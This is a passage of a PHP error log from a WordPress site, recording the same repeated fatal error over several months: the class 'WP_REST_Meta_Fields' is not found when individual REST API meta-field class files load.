thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[16-Sep-2025 07:32:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[16-Sep-2025 07:32:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[16-Sep-2025 07:32:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[16-Sep-2025 07:32:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[16-Sep-2025 07:32:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[16-Sep-2025 07:32:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[17-Sep-2025 10:55:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[17-Sep-2025 10:55:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[17-Sep-2025 10:55:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[17-Sep-2025 10:55:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[24-Sep-2025 03:19:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[24-Sep-2025 03:19:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[24-Sep-2025 03:19:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[24-Sep-2025 03:19:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[24-Sep-2025 03:27:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[24-Sep-2025 03:27:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[24-Sep-2025 03:27:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[24-Sep-2025 03:27:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[30-Sep-2025 04:21:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[30-Sep-2025 04:21:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[30-Sep-2025 04:21:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[30-Sep-2025 04:21:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[30-Sep-2025 04:30:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[30-Sep-2025 04:30:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[30-Sep-2025 04:30:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[30-Sep-2025 04:30:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[14-Oct-2025 01:12:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[14-Oct-2025 01:12:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[14-Oct-2025 01:12:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[14-Oct-2025 01:12:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[11-Jan-2026 01:09:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[11-Jan-2026 01:09:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[11-Jan-2026 01:09:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[11-Jan-2026 01:09:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[11-Jan-2026 01:18:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[11-Jan-2026 01:18:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[11-Jan-2026 01:18:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[11-Jan-2026 01:18:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[13-Jan-2026 12:02:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[13-Jan-2026 12:02:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[13-Jan-2026 12:02:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[13-Jan-2026 12:02:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[13-Jan-2026 12:11:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[13-Jan-2026 12:11:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[13-Jan-2026 12:11:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[13-Jan-2026 12:11:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[05-Feb-2026 04:47:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[05-Feb-2026 04:47:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[05-Feb-2026 04:47:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[05-Feb-2026 04:47:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[13-Feb-2026 16:56:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[13-Feb-2026 16:56:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[13-Feb-2026 16:56:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[13-Feb-2026 16:56:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[13-Feb-2026 16:56:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[13-Feb-2026 16:56:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[13-Feb-2026 16:56:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[13-Feb-2026 16:56:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[13-Feb-2026 16:56:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[13-Feb-2026 16:56:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[13-Feb-2026 16:56:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[13-Feb-2026 16:56:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[13-Feb-2026 16:56:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[13-Feb-2026 16:56:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[13-Feb-2026 16:56:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[13-Feb-2026 16:56:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[16-Feb-2026 10:32:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[16-Feb-2026 10:32:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[16-Feb-2026 10:32:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[16-Feb-2026 10:32:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[16-Feb-2026 10:41:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[16-Feb-2026 10:41:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[16-Feb-2026 10:41:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[16-Feb-2026 10:41:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[24-Feb-2026 11:47:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[24-Feb-2026 11:47:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[24-Feb-2026 11:47:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[24-Feb-2026 11:47:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[24-Feb-2026 11:57:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[24-Feb-2026 11:57:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[24-Feb-2026 11:57:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[24-Feb-2026 11:57:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[05-Mar-2026 09:36:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[05-Mar-2026 09:36:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[05-Mar-2026 09:37:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[05-Mar-2026 09:37:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
